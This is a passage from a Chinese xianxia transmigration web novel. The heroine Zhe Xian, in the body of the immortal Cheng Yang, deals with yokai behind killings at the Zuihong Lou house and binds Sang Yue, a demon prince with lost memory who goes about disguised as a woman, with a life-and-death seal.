她身上白玉清冷的衣袍应当就是羽毛所化,同雪鸮那高傲孤冷的气质一般无二,在月色的点缀下倒显得有些柔和。
“她是我的第一位救命恩人,你是第二位,那么我该怎么称呼你呢?”她站在那里,朝还是柳欢珩模样的折羡问道。
折羡那时见到这雪鸮便知晓那模样定不差,现在见了人形确实好看。
“你帮我护好她这两年就行,我马上就要走了,也不会再回来。”这是嘱咐,也是告别。
折羡能感觉到,她在这里的灵气越来越淡,过不了多久,她就要醒了。
她不是在做梦。
也不知是心疼还是为承漾鸣不平,她只希望她的这次到来,能让她成长过程中少一点痛苦,至少在后来走上那条路时,心里是有过开心的。
8. 魔子桑越
“我答应,十年我也答应。”
“只需要两年就行,届时我留在你和她身上的灵印你可自行解开。”两年后,承漾自会手刃人渣。
“你走了他还会醒来对吗?”
“当然。”
“不同她道别再走吗?”
折羡耳边的声音嗡嗡的,她没听清雪鸮的话,跟着问了一遍:“什么?”
“我说我叫……”
意识越来越薄弱,她又听到了一个声音:
“我们是承漾历练时救回来的,那时她刚满二十岁,柳欢珩也就是她师尊,送了她二十岁的生辰礼,一场独自前往沧君山五界共处的试炼狱。她一开始被欺负也从来不还手,只是确保自己没受伤便继续收集灵石和品阶高的灵药。我们见她不排斥妖,便问她能不能同行。”
“她虽没同意,可也没拒绝,我们见她厉害,就保持着距离一直跟着她,那时候我们的妖力尚低,只能勉强用人类的话和她沟通,并不能化成人形。她见我们没走,每次打斗时还会刻意护着我们,后来还送了我们很多灵药。”
那时候苜夭是真的很喜欢跟着承漾,也逐渐喜欢上了这个脾气不怎么好但是又非常非常好的人类。
后来承漾历练结束,快要出来时,问她们要不要跟她走,她们很高兴,立即就同意了。
在最后一天,她又救了只面相凶恶的猫头鹰,她们不喜欢那只猫头鹰身上的气息,总觉得它很危险,也比她们两个强很多。
谁也没想到,她们被承漾带回来后,便再也没见到过她,反而时常见的是个变态爱折磨她们的疯子,她们每天都会被柳欢珩拿来试药,食物也从来都是难吃的,腐烂的,总是透着一股尸腐味。
柳欢珩告诉她们,它们三个是承漾专门带回来送给他的赔罪礼,她说知道柳欢珩喜欢这些,便故意哄骗着将她们带回潋青峰。
柳欢珩还说,他喜欢听话的。
兰璎按照柳欢珩的教导,伪装成了被人欺负的新弟子,再一次成功骗取了承漾的信任。
看吧,她不仅愚忠,还十分好骗。总是冷脸又摆着大善人的模样。
兰璎痛恨承漾将她们带回去让她们经历了那些折磨,同时在再一次见到她时又真的想靠近。
可她们终究不是一路人。
折羡晕过去了眉头也一直皱着,纸鸰伸出手指,在她眉骨处轻轻抚摸了一下。
“乖一点。”
她看着自己手里抓着的人的手,有那么几秒的愣神,那手指细长而骨节分明,并不是那种纤纤柔指,不细腻,相反指腹还有点粗糙。
而视线落在上面又感觉青葱如玉,握着时反而格外宽厚有力,像是男子的手,她的目光顺着手指慢慢挪到了这手的主人脸上,纸鸰那张美得雌雄难辨的脸再次晃了她一眼。
她也再次在心里发出疑问,这人到底是男是女?
“你醒了?”纸鸰垂眸去看他们握着的手,也不抽出来,反而拿了帕子擦拭折羡沾了血的手,刚刚为了把折羡手里的毒逼出来,不得已将伤口弄得更大,渗出了血。
折羡见她一直盯着那个极小的印子,还以为她还在担心,安慰道:“已经好了,也不疼。”
“嗯。”擦完也没有要松手的意思。
折羡用力抽了抽,没抽出来,挑眉看她:“?”
纸鸰抿着唇,似有些无奈:“你的手还未上药。”
听出她话语里的闷闷不乐,折羡满是疑惑:“你在不开心吗?”
“没有。”
“行。”
折羡干脆靠在床头,任凭她捯饬手上那个都快愈合了的伤口,想到那些妖,她问道:“她们怎么处理的?”
“收起来了,等你处理。”
纸鸰不会自作主张帮她解决那些人,何况她同折羡,名义上还是‘落难小姐’和救命恩人的关系,她又怎么会越过折羡去对那些人下手。
伤口上了药,手也用布包好了,折羡那种古怪的感觉又上来了,这人看上去就像是那种十指不沾阳春水,养在深闺人未识,天生丽质难自弃,举手投足间都高贵的不得了的世家小姐,可这伺候她怎么还伺候上瘾了,包扎完不够还要给她擦脸。
难道是被自己那个生死印威胁到了?自己晕倒的这段时间她也遭受了非人的痛苦?所以如今便鞍前马后的当丫鬟。
折羡觉得自己真相了,这事虽不厚道,但那种情况下,谁管得了那么多,不是你死就是我亡的局面,她又不是烂好心要救这人,只不过见不得美人落泪罢了,美人是顶好的美人,要是蛇蝎美人那就是另一个故事了。
“待我伤好,生死印我自会解开,不会对你有任何影响,你无需做这些讨好我。”
纸鸰握着帕子的手一顿,漂亮的脸上扯出一个复杂的笑容,道:“好。”
屋里陷入诡异的沉默。
折羡不明所以,收拾了一番就要去继续讨回公道,走的时候鬼使神差又看了一眼纸鸰,突然就觉得对方好像很委屈,就连那左眼靠眼尾三分之一处上方的痣都透着浓浓的委屈。
吓得她两条腿坐火箭似地飞出去了。
她怕再待下去这人要缠上来了。
纸鸰捏着指尖的一点余温,对着窗口站岗的鹡鸰鸟道:“去跟那些人说一下,想办法让她知道我的身份。”
只有对她有用的人,才能吸引她的注意。
鹡鸰鸟出声道:“殿下,这未必太冒险了。”
纸鸰敛眉,也不说话,连姿势都没变,就那样站在那。
“殿下,您如今旧伤未愈,记忆也未恢复,何必为了一人类女子……”
“吧嗒——”纸鸰的指尖被掐破,血滴到了地上,脸色也苍白了不少,有些漫不经心地道:“你不去,我便自己去。”
“属下这就去。”
鹡鸰离开,纸鸰坐到了铜镜前,看着这张脸,又伸手摸了摸自己脖颈,他看上去,很像女孩子吗?
之前对着那些妖用了幻型看不出来也就罢了,他对着折羡可是用的本体,他清楚地记得,当时折羡眼里的惊艳和兴味,那是喜欢这张脸的意思。
他对气味尤其敏感。
要说记忆没恢复也确是真的,他是在出沧君山结界后不久被兰璎她们的气味吸引去的,见她们的装束华美精致,便也跟着弄了一身相同的。并非是同类的气味吸引,而是在她们身上闻到了一股熟悉的气息,他总觉得此气息先前跟他有过过节,想跟着她们找一些先前的记忆。
没想到跟着这群人去往了人类的地界,还进了一处令他意外的地方。那时他已经装作出来寻爱人被抛弃的小娘子,本想趁她
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们不注意跑了算了。
没过多久,他就在他住的那个屋子里,闻到了先前那股熟悉的气息,这其中,还混杂着另一种味道,那个味道与先前的所有都不同,是一股让他忍不住想靠近、想探索、想细嗅气味。
很香。
让人着迷,沉沦。
而当他朝屋内屏风走去时,只看到了大开的窗户和略显凌乱的床。
他追了出来,被寻了大半年终于寻到他的鹡鸰鸟拦住去路,告诉了他他的身份。
来找他的鹡鸰鸟名叫善一鸰,是他先前最得信任的下属。
他是魔界现任魔尊最小的魔子,桑越。
桑越摸着那张让人惊艳的脸,缓缓笑了。
他最终没有去追那个突然出现又跑掉的人,而是留在了醉红楼,继续扮演着被男人‘抛弃的小娘子’的人设。
在找到那个人之前,他想快点找回自己的记忆,弄清之前的事,而最快能下手的,就是跟那人有相似气息的几个妖界之灵。
他将自己伪装得很好,甚至瞎编了一点点自己的身份和悲惨身世,并且适时的给出自己的利用价值,在她们一次又一次计划成功时,桑越在期待那人的到来。
这些妖将来这里的人统统视为坏人,桑越难得跟她们意见一致,这里本身就不是什么好地方,来这里的更不会是好人。
而她们杀的那些人,有一大半都是离安国朝廷内的重臣。
剩下的那些,根据衣着服饰来看,和另外两国牵扯也很大。
^^
折羡出了门才发现她居然还在醉红楼,这次真是故地重游了。等她走到那个熟悉的窗户外时,她才隐约觉出点什么,这好像跟她当初跳窗逃走的位置一模一样。而她落荒而逃的那个房间,就是她来这里那天躺的房间。
!!!
脑子里那个无比吸引人的身影同纸鸰那张脸对上时,轰地一下炸开了。
她就说那股熟悉劲儿哪来的,早在她当初偷听别人讲话时就留下了,有点不一样的是,当时的纸鸰讲话软糯好听,同如今有点区别。
罢了,总归是悦耳的,同美人较什么劲呢。
至于是美若天仙的女子还是貌若潘安的男子,她需要现在回去探个清楚。折羡转身往回走,刚走了两步就听到了一道凄惨的叫声,接着是响亮的巴掌落到皮肤上的声音。
折羡指尖聚灵,没聚起来。
她快步往那边走去,便看见兰璎那长长的蛇尾拖在地上,银黑的鳞片也覆上了一层暗红,因着蛇身人相,脸还挨了一巴掌,蛇尾扫过地面,将那一块染得到处是血,一旁的苜夭挡下了第二个巴掌,冷哼道:“你想反水,你以为她会放过你?”
“那又怎样!我想活着,当年想,现在也想!”他又扑了上来,想把苜夭拉起来,苜夭将他推开,笑道:“哓识,你一直是我们当中最聪明的那个,你喜欢阿漾,可你连柳欢珩都打不过,却能从他那里全身而退。你只不过是妖界最低等的妖,我很好奇,你究竟,从她那里拿走了什么?”
哓识想到了什么,脸上的神情变了又变,最终没说什么,还想继续去拉苜夭。
苜夭也不知哪来的力气,推开他之后反手来了一巴掌报了刚才的仇,继续刺激他:“不过就你当初造谣那些事,魔君也不会放过你的。”
9. 同根同源
她动了动两只兔耳,道:“你不知道吧?一直跟在我们身边的纸鸰,就是魔界那个手段极其残忍的小魔君。”
“不可能!他怎么会到这里来!”哓识震惊之余还有些暗自庆幸,之前苜夭她们所做之事,他没有明目张胆地去参与,甚至有过阻止的念头。
站在门外的折羡手指尖的灵气突然就聚起来了,轻轻一捻就又散掉了。
纸鸰是小魔君?承漾偷了三百年魔力的那个小魔君?那现在的他是失忆后把自己打扮成了女子?这变化有点太大了吧?而且她记得,承漾记忆里的小魔君,不长纸鸰这个样子,不然她怎么会认不出来。
还是说,那不是他的本貌。
可如果他真是小魔君,那魔界的魂灵收集就很方便了。
目前出现的被隐若锁定过的魂灵,还只出现了久颜一个。因为近段时间的休养,她本来是准备在拿完东西后就去哄骗这孩子的,结果又半路杀出了醉红楼这事。
碰巧这几个化妖成人的家伙又跟她这具身体的原主人有点渊源,她干脆推门进去,手里的玉牌瞬间化成了瓷玉长剑。
她这才发现,原来苜夭也被抽了灵丹,那个叫哓识的人见到她,立马收起那张阴暗扭曲的脸,两行泪水瞬间滚落,碰巧苜夭那一巴掌用了十足的力气,他一边脸这时候已经肿得不成样子,现在看上去就像是被欺负狠了的受害者。
“阿漾……”
苜夭翻了个白眼,无语道:“你装弱小装久了是不是忘记自己是个什么玩意儿了?”
哓识是植物妖,它的原型是飞鸭兰①,一种长相像鸭子的花,颜色也是很少见的黑土色,其外部有很多黑灰斑点。化成人形后有些特征难以完全掩盖,所以他的脸上有很多小雀斑,这其实也还好,主要是脸有点宽而嘴部又扁粗,称不上多好看。
此刻他脸肿着,嘴宽大且厚,眼睛又很小,总之非常的难看。
“关你什么事。”说着他就朝折羡过来了,那两行泪挂在鼻子两侧,落到嘴边时被嘴勾着停住了,看得折羡眼前一黑。
她确实没在承漾记忆里见过这么个人,不然她这辈子应该都不会忘记。
折羡抬起剑,将人隔在离自己一剑之处的位置,直言道:“离我远点。”
她将之前抽的兰璎的灵丹打了回去,她不会替承漾原谅她们,毕竟当时的背叛是真的,可一命抵一命,柳欢珩死了,承漾在那之后也没有再找她们麻烦,想来也是不想再有牵扯,她如今再做这些也弥补不了什么。
可她们错就错在,不该从妖界来到人界。
更不该打这种“以正风气”的名头杀那些人。
人有错,因果报应自然是逃不掉的,话又说回来,冤冤相报何时了,更何况,她们本就不是为了替谁报仇才杀的人。
“你们如今只有一条路可走,回到妖界接受百妖王的罚戒。”
兰璎如今已经可以化成全人形了,她跪在地上,仰头看着折羡:“仙君,我现在只能这样称呼您了吧,您直接杀了我们吧。”
没有妖,做错了事想回妖界领罚,何况还是那刚正不阿、阴晴不定、情绪多变的妖灵统领百妖王。
凡是所犯之错已经到了需要妖界统领亲自惩罚的地步,那离扒皮抽筋丢进炼狱也不远了。
苜夭也跪了过来,她不敢去看折羡的眼睛,两只兔耳耷拉了下来。
“阿漾姐姐……你杀了我吧,放过兰璎,这一切都是我筹谋的,是我先背叛了你,也是我提出做现在的这一切。”
“你们私自来到人界,这是大忌。还以妖的身份杀了这么多凡人,此乃重犯。”折羡突地笑出了声,她想到了清羕仙君这个称号的来源。
这是承漾修炼成仙时帝君亲自赐的。
取名清羕,一是与名字同根同源,二是祈盼她清清白白,漾而不耀。
当时的承漾也确实是这么想的。
“这并不是我能直接判定下论的,现只能将你们继续存放在储灵袋中,苜夭的灵丹,稍后我会让纸鸰还给你。”其实她能给她们定罪,也能直接结果了她们,可她不想。
她又拿剑把哓识戳远了些,道:“至于你和剩下那些妖以及跟着你们修炼妖术的人,就留给人类的统治者来解决吧。”
“凭什么?我不同意。”哓识大叫,把他交给那群人类,他只怕要遭大罪,而且那些事他根本就没做过。
“仙君,那些事哓识一样都没做过,你不能胡乱罚妖。”
他才不想进人类那等低下的牢狱,被人类那种低下的物种教训,还不如现在就给他个痛快。
正如他所想,折羡抽出了剑,寒气逼人的剑身顷刻间划到了他脸上,剑往下,直指他的脖子,折羡重复道:“不同意?”
“行。”说完就给那厚嘴唇削下来了,接着剑气强迫他张开了嘴,直接把那舌头割了下来。
“你现在应当能同意了吧?”
此花妖心术不正,私下里干得勾当也不少。还有那怀揣着的恶心想法,折羡想起来都觉得恶寒,她这人一般是不喜欢跟这种东西扯上关系的,再加上她有点轻微的洁癖,对这种之前跟柳欢珩勾结过甚的男不男女不女妖也不是个正经妖的玩意最是厌恶。
能忍到跟兰璎她们说完话再解决他已是极限了,这边解决好她又回了纸鸰的房间,却没有见到人。
刚要出去寻,门外来了个黑衣男,他见折羡便行了个礼,“见过仙君。”
“殿……纸鸰小姐她,被叫去前殿了。”
折羡收了剑,也朝前殿走去,这次,她并没有隐去自己的身影。
^^
御史旁边坐着刑部郎中,而在他们位置上方坐着的,正是久颜。
桑越懒懒地坐在另一方,一手支着下巴,一手拿着葡萄正要往嘴里送第二颗,余光瞥见折羡的身影,他漫不经心地收了手,身子也坐正,像是刚听到动静,朝外面看去。
御史和刑部郎中之前是没见过折羡的,此刻见有人来,也仰着眉毛朝门口望去。
而坐在正中央一眼便能看见折羡的久颜,把手里的折子放到了一边。
折羡踏进门那道机械通报音就传进了耳朵,所以,在她笑眯眯朝任务对象看去时,她感受到了另一道灼热的视线,同样被这道视线威胁了的还有久颜。<
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久颜:?
桑越无意识捏碎了手里的茶杯,滚烫的茶水落到指尖,红了一大片,他还没意识到自己失态,只是皱着眉死死盯着主位上的少年。
这个人,认识她。
在他之前认识了她。
他们看上去,还挺熟。
这个认知让桑越之前吃的那些葡萄在胃里犯了酸,酸得他想吐。
折羡那是多见不得美人不开心的人啊,立即便察觉到桑越的不对劲了,在小美人和大美人之间选择了后者。
“喏,擦一下吧。”她借花献佛送上了一块绢帕,又掏出一瓶伤药,放在他旁边的小桌上,“你手烫伤了,这个药效果好,你自己擦擦。”
然后就跑去跟任务对象打招呼了。
“久颜君,好久不见。”
“确实许久未见了,羡小郎君,或者我该叫你,仙君?”
折羡行了个标准的仙家礼仪,客气道:“随意就行,三皇子殿下。”
久颜扯了扯嘴角,又道:“抱钰知道你的身份吗?”
“本来是不知道的,出了点意外,他可能怕我对他下手,就没留我继续在离渊玩了。”折羡道,又面无表情地开着玩笑:“你怎么认出我的?当时没想过趁我受伤杀了我?”
久颜也笑了,有些意外折羡会说得如此直白,“君子以实处所感而论,若识人不清,那也甘之如饴。”
“三皇子心胸当真……”
“哗啦——”一声打断了二人的谈话,折羡偏头,就见纸鸰手里的药瓶不知何时掉在了地上,那瓶子碎裂的程度快达到跟里面药粉一个样了,她微睁大了眼睛,朝他看去,眼神询问:什么情况?
桑越垂着眼,根本没看到她投过来的眼神,见药瓶掉了,便直接伸着手去捞,那红了大块的手背和长指在折羡看来,不亚于一件精美的艺术品,她顾不着和久颜再多说话,抢在桑越摸到碎裂物之前阻止了他的动作,她本是想抓他手腕的,结果桑越突然撤了手,她抓住了桑越的手,而原本看着地面的那双眼睛不知何时也落到了她的身上,两人互相看着对方,手还莫名其妙拉着。
“仙君?我也能这样叫你吗?”桑越手指微微用了力,回握着她。
“啊。你的手看上去伤得挺严重,要不然我给你上药吧。”这话出口折羡就后悔了,她现在像是那种调戏良家少女,不是,少男的登徒子。
“真的吗?谢谢仙君。”桑越赶紧接过话茬,晚一秒都怕出变故。
一只白玉般的手伸到了折羡眼前,另一只也跟着折羡的视线送了过来。
那里,还有她那只牵着别人的手,她忙不迭地松开,明明已经知道了对方是男的,可能不会在意这些,她依旧有种在占人便宜的感觉。
不过,她才看到这两只手上都有伤,一处是刚才茶水的烫伤,另一处手部内测划了几道口子,像是刀伤,看着又没那么平整,这也不怪他刚才上药时摔了药瓶。
她又拿了一瓶药,旁若无人地对着那双漂亮的艺术品下手。
久颜默默坐回了自己的主位,边看折子边问旁边两位大臣醉红楼死的那些人的细节。
10. 生死灵印
站在桑越身后的善一鸰看见他家殿下耳朵红了,登时掏出留影珠,两只手夹着珠子,悄悄挪到了离桑越更近的位置,那颗珠子正对着折羡和桑越。
闻到臭臭气息的桑越周身气压瞬间低了下去,他趁着折羡低头擦药的间隙,凌厉的眸子微眯,不愉地眼神施压,善一鸰吓得整个鸟都颤了颤,又退回了原地。
依旧没收起留影石,等他回到魔之域都,见到那群神经病,这就是炫耀的资本,一切都是值得的。
“咳。二位,你们的事解决好了能不能麻烦配合一下我们这边的询问?”郎中被御史推了出来,无奈只能苦笑着打断这对看上去很甜蜜的“小姐妹”。
“好了。”
折羡要了个椅子坐在桑越旁边,率先表示:“我是路过的,对这里发生的事不了解。”
桑越紧接着她答话:“我是被骗来的,也不了解。”
刑部郎中在随身备着的折子上欻欻写下:证人言语不充实,未有实质分析的用途,不可作为证据……
被御史一巴掌拍掉了,看眼神骂得很脏。
郎中讪讪地捡起折子,不满地道:“御史再这样本官就上折子请求不同你一块办这案子了。”
“烦请二位将知道的尽数告知。”
折羡是真不知道这其中的情况,她隐匿身形进来之后先把承漾的仇人收拾了一顿,接着就中毒晕过去了,后来醒过来也只是解决了他们该受的惩罚,要说从开始到现在的完整具体情况,纸鸰肯定是清楚的,但他不愿说,这俩人也问不出多余的信息。
那她想问他的问题岂不是也问不出来?或者还是把人敲晕了使吐真术,按照她目前的实力,应当是打不过这位小魔君的,话又说回来,这小魔君也是失忆状态,她的问题可能真问不出来。
折羡向来喜怒不形于色,但她的手在思考问题时总会无意识敲击东西,在现代是敲那把从不离身的短刃,而到了这里之后,她以为她把这个习惯改了,实际上每次都会有意无意地点玉牌。
桑越见她表情严肃,唇瓣紧抿着,还一直摸那个会变剑的玉牌,试探地道:“我把我知道的都说出来,你会开心一点吗?”
折羡扭头看他,“我?”
不明所以,也不妨碍她确实想知道。
“你想说就说。”
他突然又不是很想说了。下一秒就看见折羡把那玉牌拿到了桌面上,黑色的牌身放在那跟能要人命似的,他怕他再不说,折羡马上就能去后面揪一个人来呈堂证供,那他表现的机会就全没了。
折羡听着耳边讲话人的声音,心情愉悦了不少。
当桑越说出醉红楼有一半的人其实是妖时,御史和郎中都吓得坐在位置上一动不动。
醉红楼的主家卞青,最初是从离渊来的,离渊民风比离安开放,也没有离安规矩多。
在她父母失踪后她便来了离安,在这中间路见不平救了几个被土匪绑架的女子,后来带着她们在离安开了醉红楼,一个开了半年就名声大噪的乐坊。
就连很多世家贵族得了闲都会去听会儿小曲。
卞青的小楼渐渐地人也多了起来,他们有些是无家可归者,有些是落魄者,有些可能是得罪了人走不上仕途者。
这些人并不只是来自离安一国,离渊、离奚都有。而卞青也因为这些人的到来,知道了自己失踪的父母的踪迹。
也正因如此,在她去寻找父母的途中,醉红楼被灭,她被杀害,死在去和父母团聚的路途中。
那个汇聚三国能人义士、人人羡慕的教习之地,一夜之间被灭,醉红楼不复存在,就连卞青,在外人看来,也像是人间蒸发了一样。
三年后,离安都城城东的巷子里,一个名叫卞青的女子开了个叫做醉红楼的商铺,大家听见这名都不陌生啊,几年前那个醉红楼,可是火得很,人挤人的便去凑热闹,去了才知道,这哪里是什么正经商铺,而是个青楼,里面男男女女乱得很咧!
一时间,关于新的醉红楼是青楼的这件事,在离安传开了。
因着名字同先前的乐坊一样,就算是青楼,大家的关注度也比平时高,有新消息便一传十,十传百的嚷得谁都知道,那段时间并没有谁是真的作为顾客而去,都争抢着下注在赌醉红楼什么时候倒灶。
直到醉红楼来了第一位客人,那是离安国的某个官员。也是从那之后,醉红楼的生意走上正轨,开始正常营业。
而竞猜活动,是近半年才新出现的。
死的那些人,并不全是离安的官员,还有离奚和离渊的人。
这在久颜来之前,就已知晓。
他是拿到信息后第一时间赶过来的,不过人也死得差不多就是了。
折羡听着听着就吃起了旁边的糕点,不知不觉已经把那一盘吃完了,桑越讲这些很有节奏,再加上嗓音实在动听,让折羡忍不住放松了下来。
他偶尔还会停下来观察折羡吃糕点,见她都把那一盘子吃完了,这才收了尾:“醉红楼如今的主家卞青是原卞青先前救过的一只妖,原来的卞青应当不知道他是妖。而他做的这一切是为了什么,想来也不必我多说了吧。”
他拿过另一盘糕点,推了茶盏过去,折羡顺势拿起喝了一口才惊觉不对劲,用余光觑他。
“吃多积食。”
“讲完了?”
“嗯。讲完了。”
“那我能问你几个问题吗?”
桑越撑着手看她,眼里含着笑,又把那两个还想继续问点什么的电灯泡忽视了个彻底。
“知无不言。”
折羡在那一刻仿佛看到了一双黛色眼眸,里面是沉沉暮色,那里面,还有一个看痴了的自己,她掐了掐自己的胳膊,对自己这小小的颜控颇为无语。
正想问点什么,桑越笑盈盈的看着她:“你要在这里问吗?”
“换个地方问。”方便打架。
“三皇子殿下,我们能提供的信息已经给到了,剩下的就需要你们自己去查,当然如果有需要,也可以找我。”折羡同久颜告别,临了还不忘卖他个人情,或许能在不动用武力的情况下,让这个任务对象心甘情愿跟她走。
桑越连面子功夫都懒得跟其他人做,到久颜那里更是撇过了脸,看都不看。
刑部郎中正要骂两句此人太没规矩,同三殿下都不行礼也就罢了,如今还敢这副做派,后又想到这是跟那群妖怪混一起的人,指不定也不是人,自己还是苟着点好,毕竟殿下都没说什么。
站在桑越身后的善一鸰见那个人吹胡子瞪眼,也上前一步想跟人对峙,结果他家殿下跟在折羡后面就走了。
他朝刑部郎中啐了一口,也屁颠屁颠跑走了。
刑部郎中叫苦不迭:“殿下,这可怎么办啊,那可是一群妖怪,打也打
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不过,罚也罚不动,可又死了这么多人,不给出交代也说不过去啊。”
久颜也没想到这案子还牵扯到了妖界,人界作为六界中最弱的存在,向来是不会主动挑衅其他界的,若是有为了修炼而故意接近的,可是会受天罚。
他想不通怎么会有人去做这么蠢的事。
“你把这个折子给陛下送去,卞青那边,我亲自去审。”
^^
折羡以为桑越会找一个空旷的地方,结果他带她来了酒楼。然后看着桑越点了一大桌膳食。
自上次从离渊回来,她就再也没吃过这么丰盛的大餐了,其实还挺心动,但是有些事也得先问清楚。
“我们认识不久,我对你也不甚了解。且还是从旁人那里知道的,如果我问的你没说实话,在你的行为威胁到我的生命之前,生死印会先杀了你。反之,如果你说的都是实话,我会拿生死印威胁你替我做事。”折羡觉得自己跟强盗没区别,但是没办法,她来这里便不是自己所能控制的,必要的时候,能找到一个为自己所用的人,她是会不择手段且不讲信用的。
桑越听着这霸道发言很是受用,他认真地道:“我不会对你撒任何谎。”
“好。四个问题。”
“第一,你是谁?”
“魔之域都第九子,桑越。”
“第二,在我救你之前,你见过我吗?”
“见过。”折羡眯了眯眼,点玉牌的手停了两秒,半睡半醒的隐若感受到了一股浓浓的杀气,吓得它两眼一翻彻底睡死过去。
“你当时翻窗逃走了。”折羡状似无意地继续敲着玉牌,这才接着问道:
“第三,你在这里脱身很容易,甚至于他们几乎是被你主动操控着的,可你为什么还要朝我发出求救信息?”
“我没有朝你求救。”
“?”
桑越轻笑,解释道:“我对气味很敏感,平时都是封了嗅觉的,那日为他们设了结界之后太过虚弱,灵气不够封嗅觉的,所以当时很多臭味混在一起,我没忍住想吐,突然闻到一股香味,这才朝你看去。”
折羡沉默了。
“第四,我是谁?”
“嗯?”桑越敛了笑容,眉心微蹙,斟酌着开口:“你叫折羡。”
“我从未与你说过,你怎么知道,而且你调查过兰璎她们,也当知道我是谁。”折羡追问。
“不对。她不是你。”
桑越看着她,一字一顿认真地道:“你们长得不一样,声音也不一样,性格更是迥异,最主要的是,气味完全不一样。”
“虽然我不记得了,但我与那位仙君有过节,你若是介意,我便同她没有过节。”
“我就是她,不然她去哪里了?”折羡没理他那些废话,固执地问道。
“不清楚,你若喜欢这个称号,我便唤你仙君好了。”桑越以为折羡在执着于那个称号。
折羡却觉得这人奇怪,尤其仅凭其行为便能断定她跟承漾是完全不同的两个人,这家伙会不会也不是这个世界的人?
如果真是这样,那她是否有必要帮他恢复一下记忆,或者说,暂且将人留在身边观察一阵再做定论。
她现在有点庆幸自己出其不意打了个生死印在对方身体里,这如今把人控制住就非常简单,那是不是可以把这法子用在任务对象身上?
“不可以。”
11. 记忆影石(二合一)
隐若有气无力的声音从脑海传来:
“生死印是这个世界很特殊的一种术法,需要对方全身心信任你才能绑定。不然就必须取你血做引才能下这个印,但是后者签订的是不平等生死印,也就是说你为尊,他为仆。你死他死,他死你不受影响。你伤他伤,他伤你依旧不受影响。这只能用在一个人身上,你要绑别人,需要先把他身上的解开。”
“这么麻烦,你当时怎么不说?”
“我怎么知道你刚学会就用出去了,那我不是还没来得及告诉你这一点吗?所以你下得哪种?”
折羡皱眉,当时情况危急,她又急需确认自己的安全,好像是蹭了点血上去,而且前者很明显不可能,那会儿两人认识不到一个时辰。
见她不回话,隐若也猜到了,小童音叹了口气,安慰道:“别难过,这个虽然有bug,但是也不好解啊。”
折羡:“……”坏处说完了,好处呢?
“他仅靠着气味就能十分笃定我不是承漾,这算不算穿帮?”
“有什么关系,这个世界都六界共存了,死了又活,诈尸换魂,移魂换形,石头都能说话,缺胳膊少腿的多了去了,你把我的存在说出去都不会有问题。”
这倒是跟折羡之前看过的为数不多的小说不太一样,那里面可都是不能违反人设,也不能透露有关任务、系统这些之类的。
“你这次休眠时间怎么这么短?”
“因为我升级了。现在的我不再是独立的个体,而是拥有了两个我的两个个体。以后你使用玉牌切换形态,我就不需要再进入休眠期。”
“哈哈。听上去挺高级的。”尬聊结束,菜也上桌了,折羡也没什么问题问他,干脆默不作声吃起了饭。
“所以我能被你威胁跟在你身边了吗?”抿了一口茶,唇瓣浸了水,看上去湿漉漉的,他双眸微弯,侧身看她。
折羡一口无刺的鱼卡喉咙里不上不下,声音极小:“什、什么?”
这人怎么把这种明明是胁迫、要挟的不合理要求,说成看似调情的话来的,还一脸期待地看着她。
“我们现在是朋友了吗?”
“当然是。”
“同你和那三皇子的关系相比呢?”桑越夹了两片酸笋送进嘴里,嚼了两下,面色如常。
折羡吃饭讲究食不言,且她也不知道桑越问这话的意味是什么,一个是任务对象,要被她为了任务可能会弄死的人,另一个是她来这个世界第一个用生死印威胁的人,也是可能会死掉的,感觉大差不差。
唯一区别就是,眼前这个,更好看些。故而她保持沉默,继续吃。
没等到回答,桑越赌气般把那盘酸笋吃完了,等折羡抽空去夹时发现那盘子里就剩下俩辣椒,她心想这人看着像是个好脾气的吃点东西还一盘一盘吃,这什么嗜好。
其实桑越只是很喜欢折羡身上的味道,想跟在她身边,也不想让那些味道沾染上别的难闻的东西。
有她在的地方空气都清新了好几个度,他也不用再专门去封嗅觉,甚至是纵容自己在这个有很多秘密的人身上放下防备,多次靠近,不惜将自身那些难训的气性敛去。
但他还是低估了折羡的脑回路和聪明程度,也许她问那些问题根本不是来了解他的,而是为了让他安心,让他有一个正当的被威胁的理由留下来。
因为她知道,有生死印和她身上能令自己安心的气息在,他桑越就算有什么不好的想法也对她没有任何影响。
简而言之,他,堂堂魔界万魔之上的魔君的存在,对这位仙君没任何威胁。
又把自己想抑郁了的魔君拿过一旁的茶喝了一口,苦涩和浓郁的酸碰撞在一起,一股难以描述的味道让他神经一紧,顿时清醒了不少。
折羡吃了饭就准备回自己客栈去,这期间她其实是期待着久颜来找她的,结果吃了一个时辰也不见人来,她只好先回自己的客栈,把兰璎她们叫出来盘问些情况,想着近水楼台先得月。
而桑越吃了饭也不知道去哪了,两人没有约着一起,默契地各走各的。实际情况是,折羡其实不是个喜欢团体合作的人,她一向是单打独斗习惯了没有牵挂。
桑越看出来她的意思,便没有再跟着。
^^
另一边,久颜饭都没吃,先去牢狱‘看望’了“卞青”。
“你和卞青是什么关系?”久颜单刀直入。
“呵。反正我该报的仇都已经报了,你要动手便动手。”他要做的事都已经做了,筹谋了这么多年,大仇得报,也该去向当初的恩人认认真真地道一次谢。
“你想死,后院那些帮你的人你也不管了?”这是折羡走时留给他的一点信息,不多,但真。
“你说什么?!”“卞青”额头上那个血依然在,且并没有干涸的迹象,此刻因为太过激动那血流得更快,不一会儿便顺着额头流得满脸都是,他胡乱擦了两下,急道:“那些人都是我杀的,跟她们没有任何关系!”
“你将你知道的一五一十都说出来,律法自会为不公翻证。”
“为不公翻证?你现在是这么说了,谁去做?不公之下枉死、冤死了多少人你知道吗?你知道当初卞青姐姐救了多少人到头来连个全尸都不曾留下吗?你什么都不知道,你生来就在一个能平安长大的环境里,你当然不知道!”
血和眼泪混杂着越擦越多,他朝久颜吼叫着,那张和卞青有三分像的脸上满是不甘和恨意,他想为那个做了一辈子好人没得好报的人报仇有错吗?
“您是高高在上的三皇子,是离安一人下万人之上的尊贵之身,佥麟在这里求您,此事与她们无关,我愿意将所有事托盘而出,只希望三皇子能放过她们。”佥麟跪在地上,对着这个人界敬仰的皇子磕了三个头。
久颜立在一旁,心里想着佥麟刚才说的那些话,一时间有些茫然。
他来查这件事的目的是什么,是为了给死去的官员的家眷们一个公道?还是为了给朝堂上那些为利益而苟同的人一个合理的说法,又或者不寒百姓心为他们喜欢的‘好官’翻案?还是为了,给自己树立一个为国为民、公正无私的形象。
佥麟说完原地化成一块普通的黄色石头,接着那上面便出现了一个人影,久颜这才知道,佥麟是块留影石。
生了魂灵意识的留影石,将不再是死物,但石头的本源是固定的,因而,佥麟受伤,便是失去身体的一部分,无法再长出新的血肉。
画面抖着转到了人影身上。
那是一个穿着普通,面色素净的女子。
